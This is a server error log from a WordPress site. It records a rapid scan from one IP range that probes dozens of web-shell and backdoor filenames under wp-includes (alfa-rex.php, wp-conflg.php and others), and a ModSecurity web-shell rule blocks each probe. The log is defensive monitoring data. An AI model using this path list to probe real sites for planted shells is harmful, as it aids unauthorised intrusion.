[Wed Apr 22 01:41:04.563031 2026] [:error] [pid 53731:tid 53737] [client 45.137.126.26:35243] [client 45.137.126.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime-num.php"] [unique_id "aee2sF2I9THUR-bRVGzXvQAAAgI"]
[Wed Apr 22 01:41:05.541691 2026] [:error] [pid 53978:tid 54002] [client 45.137.126.52:40981] [client 45.137.126.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-entry.min-object.php"] [unique_id "aee2sZ1ivsR4hcOSQbZ2QgAAApY"]
[Wed Apr 22 01:41:06.517868 2026] [:error] [pid 54080:tid 54091] [client 45.137.126.5:58877] [client 45.137.126.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/aw.php"] [unique_id "aee2sozEbQHHxtmWbab-YQAAAsk"]
[Wed Apr 22 01:41:13.940579 2026] [:error] [pid 53978:tid 54000] [client 45.137.126.4:61831] [client 45.137.126.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/IXR/db.php"] [unique_id "aee2uZ1ivsR4hcOSQbZ2YgAAApQ"]
[Wed Apr 22 01:41:14.935169 2026] [:error] [pid 54080:tid 54083] [client 45.137.126.4:62883] [client 45.137.126.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/install.php"] [unique_id "aee2uozEbQHHxtmWbab-aAAAAsE"]
[Wed Apr 22 01:41:19.813722 2026] [:error] [pid 53731:tid 53746] [client 45.137.126.12:45921] [client 45.137.126.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/install.php"] [unique_id "aee2v12I9THUR-bRVGzX1wAAAgs"]
[Wed Apr 22 01:41:20.787142 2026] [:error] [pid 35320:tid 35340] [client 45.137.126.23:21989] [client 45.137.126.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/dedi1.php"] [unique_id "aee2wIJW6fdXWO6agMF-RAAAAAo"]
[Wed Apr 22 01:41:25.914818 2026] [:error] [pid 4777:tid 4795] [client 45.137.126.50:60159] [client 45.137.126.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/template-less.php"] [unique_id "aee2xaxXur6bykKyLZTL4AAAAQc"]
[Wed Apr 22 01:41:26.888995 2026] [:error] [pid 53731:tid 53754] [client 45.137.126.11:41809] [client 45.137.126.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/pomo/alfa-rex.php"] [unique_id "aee2xl2I9THUR-bRVGzX3wAAAhI"]
[Wed Apr 22 01:41:38.912962 2026] [:error] [pid 53978:tid 53989] [client 45.137.126.3:33567] [client 45.137.126.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/min.php"] [unique_id "aee20p1ivsR4hcOSQbZ2nQAAAok"]
[Wed Apr 22 01:41:39.882503 2026] [:error] [pid 53731:tid 53745] [client 45.137.126.41:60823] [client 45.137.126.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/wp-conflg.php"] [unique_id "aee2012I9THUR-bRVGzX_gAAAgo"]
[Wed Apr 22 01:41:43.293637 2026] [:error] [pid 53731:tid 53756] [client 45.137.126.2:37833] [client 45.137.126.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/file.php"] [unique_id "aee2112I9THUR-bRVGzYDQAAAhQ"]
[Wed Apr 22 01:41:46.289083 2026] [:error] [pid 35415:tid 35451] [client 45.137.126.15:62871] [client 45.137.126.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-patterns/about.php"] [unique_id "aee22kiqDinI4_22zziO2AAAANg"]
[Wed Apr 22 01:41:49.237073 2026] [:error] [pid 53978:tid 53984] [client 45.137.126.11:36127] [client 45.137.126.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/load.php"] [unique_id "aee23Z1ivsR4hcOSQbZ2owAAAoQ"]
[Wed Apr 22 01:41:50.208820 2026] [:error] [pid 35415:tid 35434] [client 45.137.126.24:26315] [client 45.137.126.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/chosen.php"] [unique_id "aee23kiqDinI4_22zziO2QAAAMc"]
[Wed Apr 22 01:41:51.184862 2026] [:error] [pid 53978:tid 53990] [client 45.137.126.32:40285] [client 45.137.126.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/class-wp-theme-float.php"] [unique_id "aee2351ivsR4hcOSQbZ2pAAAAoo"]
[Wed Apr 22 01:41:55.144315 2026] [:error] [pid 35320:tid 35336] [client 45.137.126.7:25445] [client 45.137.126.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/wp-style.php"] [unique_id "aee244JW6fdXWO6agMF-vQAAAAY"]
[Wed Apr 22 01:41:58.072921 2026] [:error] [pid 53731:tid 53755] [client 45.137.126.41:23199] [client 45.137.126.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/autoload_classmap.php"] [unique_id "aee25l2I9THUR-bRVGzYRAAAAhM"]
[Wed Apr 22 01:42:01.672302 2026] [:error] [pid 35321:tid 35396] [client 45.137.126.50:50429] [client 45.137.126.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-bindings/admin.php"] [unique_id "aee26TeHLhVUuu8cVXxU_QAAAEw"]
[Wed Apr 22 01:42:02.644004 2026] [:error] [pid 35321:tid 35406] [client 45.137.126.37:56693] [client 45.137.126.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/PHPMailer/autoload_classmap.php"] [unique_id "aee26jeHLhVUuu8cVXxVAQAAAFY"]
[Wed Apr 22 01:42:03.618148 2026] [:error] [pid 35321:tid 35408] [client 45.137.126.5:29033] [client 45.137.126.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/theme-compat/db.php"] [unique_id "aee26zeHLhVUuu8cVXxVBgAAAFg"]
[Wed Apr 22 01:42:19.082079 2026] [:error] [pid 53978:tid 53991] [client 45.137.126.52:22581] [client 45.137.126.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/system.php"] [unique_id "aee2-51ivsR4hcOSQbZ2xwAAAos"]
[Wed Apr 22 01:42:22.025750 2026] [:error] [pid 35321:tid 35398] [client 45.137.126.52:58043] [client 45.137.126.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-bindings/about.php"] [unique_id "aee2_jeHLhVUuu8cVXxVLAAAAE4"]
[Wed Apr 22 01:42:25.504222 2026] [:error] [pid 35321:tid 35401] [client 45.137.126.34:32141] [client 45.137.126.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/class-wp-customize-upload-control-cookie.php"] [unique_id "aee3ATeHLhVUuu8cVXxVNwAAAFE"]
[Wed Apr 22 01:42:26.485332 2026] [:error] [pid 53731:tid 53735] [client 45.137.126.20:51259] [client 45.137.126.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/simi.php"] [unique_id "aee3Al2I9THUR-bRVGzYXgAAAgA"]
[Wed Apr 22 01:42:27.461687 2026] [:error] [pid 53978:tid 53991] [client 45.137.126.2:29131] [client 45.137.126.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/class-wp-taxonomy-sample.php"] [unique_id "aee3A51ivsR4hcOSQbZ22gAAAos"]
[Wed Apr 22 01:42:32.405654 2026] [:error] [pid 53731:tid 53749] [client 45.137.126.24:30079] [client 45.137.126.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/src/Response/about.php"] [unique_id "aee3CF2I9THUR-bRVGzYaAAAAg4"]
[Wed Apr 22 01:42:41.468938 2026] [:error] [pid 53832:tid 53839] [client 45.137.126.49:45295] [client 45.137.126.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ms-pie.php"] [unique_id "aee3EdzkuxsE_OhM9UKdJgAAAkQ"]
[Wed Apr 22 01:42:48.931395 2026] [:error] [pid 35320:tid 35345] [client 45.137.126.25:33465] [client 45.137.126.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/html-api/index.php"] [unique_id "aee3GIJW6fdXWO6agMF_nAAAAA8"]
[Wed Apr 22 01:42:50.883766 2026] [:error] [pid 35321:tid 35394] [client 45.137.126.52:54881] [client 45.137.126.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/nav-menu.php"] [unique_id "aee3GjeHLhVUuu8cVXxVmAAAAEo"]
[Wed Apr 22 01:42:51.859938 2026] [:error] [pid 53978:tid 53995] [client 45.137.126.38:35003] [client 45.137.126.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/user.php"] [unique_id "aee3G51ivsR4hcOSQbZ27QAAAo8"]
[Wed Apr 22 01:43:06.200552 2026] [:error] [pid 35321:tid 35396] [client 45.137.126.29:35559] [client 45.137.126.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/dist/script-modules/block-library/search/about.php"] [unique_id "aee3KjeHLhVUuu8cVXxXnQAAAEw"]
[Wed Apr 22 01:43:07.232069 2026] [:error] [pid 35320:tid 35332] [client 45.137.126.19:59553] [client 45.137.126.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/class-wp-customize-cropped-image-control.php"] [unique_id "aee3K4JW6fdXWO6agMF_xAAAAAI"]
[Wed Apr 22 01:43:08.207772 2026] [:error] [pid 53978:tid 53990] [client 45.137.126.46:45647] [client 45.137.126.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sitemaps/providers/ultra.php"] [unique_id "aee3LJ1ivsR4hcOSQbZ29QAAAoo"]
[Wed Apr 22 01:43:11.155620 2026] [:error] [pid 35321:tid 35387] [client 45.137.126.19:52893] [client 45.137.126.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.137.126.19, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/classic-editor/wp-login.php"] [unique_id "aee3LzeHLhVUuu8cVXxYLwAAAEM"]
[Wed Apr 22 01:43:12.142279 2026] [:error] [pid 35321:tid 35397] [client 45.137.126.19:52893] [client 45.137.126.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/preferences/wp-login.php"] [unique_id "aee3MDeHLhVUuu8cVXxYSgAAAE0"]
[Wed Apr 22 01:43:13.118215 2026] [:error] [pid 35320:tid 35346] [client 45.137.126.37:57359] [client 45.137.126.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/media-text/index.php"] [unique_id "aee3MYJW6fdXWO6agMF_1AAAABA"]
[Wed Apr 22 01:43:14.098483 2026] [:error] [pid 35415:tid 35437] [client 45.137.126.14:53949] [client 45.137.126.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/phpmailer/phpmailer.php"] [unique_id "aee3MkiqDinI4_22zziPAwAAAMo"]
[Wed Apr 22 01:43:24.203859 2026] [:error] [pid 53731:tid 53735] [client 45.137.126.37:29261] [client 45.137.126.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/latest-comments/template-loader.php"] [unique_id "aee3PF2I9THUR-bRVGzYtwAAAgA"]
[Wed Apr 22 01:43:31.926341 2026] [:error] [pid 53978:tid 54000] [client 45.137.126.9:42307] [client 45.137.126.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/nextpage/index.php"] [unique_id "aee3Q51ivsR4hcOSQbZ3DAAAApQ"]
[Wed Apr 22 01:43:33.889093 2026] [:error] [pid 53978:tid 53980] [client 45.137.126.15:34683] [client 45.137.126.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/link-template-firewall.php"] [unique_id "aee3RZ1ivsR4hcOSQbZ3FgAAAoA"]
[Wed Apr 22 01:43:52.399924 2026] [:error] [pid 35320:tid 35334] [client 45.137.126.4:21905] [client 45.137.126.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/wp-conflg.php"] [unique_id "aee3WIJW6fdXWO6agMGALQAAAAQ"]
[Wed Apr 22 01:43:53.386306 2026] [:error] [pid 35320:tid 35333] [client 45.137.126.18:41927] [client 45.137.126.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/src/Decode/HTML/sitemaps.php"] [unique_id "aee3WYJW6fdXWO6agMGAMQAAAAM"]
[Wed Apr 22 01:43:54.362763 2026] [:error] [pid 53978:tid 53983] [client 45.137.126.24:52193] [client 45.137.126.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/mer_gagal.php"] [unique_id "aee3Wp1ivsR4hcOSQbZ3LAAAAoM"]
[Wed Apr 22 01:43:55.340744 2026] [:error] [pid 53832:tid 53849] [client 45.137.126.33:21509] [client 45.137.126.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/html-api/wp-login.php"] [unique_id "aee3W9zkuxsE_OhM9UKdYAAAAk4"]
[Wed Apr 22 01:43:57.804747 2026] [:error] [pid 53731:tid 53746] [client 45.137.126.4:45035] [client 45.137.126.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/alfa-rex.php"] [unique_id "aee3XV2I9THUR-bRVGzY7AAAAgs"]
[Wed Apr 22 01:43:58.775596 2026] [:error] [pid 35320:tid 35339] [client 45.137.126.12:45961] [client 45.137.126.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/Core32.php"] [unique_id "aee3XoJW6fdXWO6agMGAOwAAAAk"]
[Wed Apr 22 01:44:09.500850 2026] [:error] [pid 53731:tid 53753] [client 45.137.126.2:53557] [client 45.137.126.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/theme-compat/wp-conflg.php"] [unique_id "aee3aV2I9THUR-bRVGzY_AAAAhE"]
[Wed Apr 22 01:44:15.403267 2026] [:error] [pid 35320:tid 35341] [client 45.137.126.27:64283] [client 45.137.126.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/tinymce/skins/wordpress/images/index.php"] [unique_id "aee3b4JW6fdXWO6agMGAbwAAAAs"]
[Wed Apr 22 01:44:16.380531 2026] [:error] [pid 35321:tid 35399] [client 45.137.126.3:42509] [client 45.137.126.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/library/index.php"] [unique_id "aee3cDeHLhVUuu8cVXxY8QAAAE8"]
[Wed Apr 22 01:44:19.839962 2026] [autoindex:error] [pid 53731:tid 53739] [client 45.137.126.18:20089] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:44:24.342226 2026] [autoindex:error] [pid 53731:tid 53745] [client 45.137.126.18:20089] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
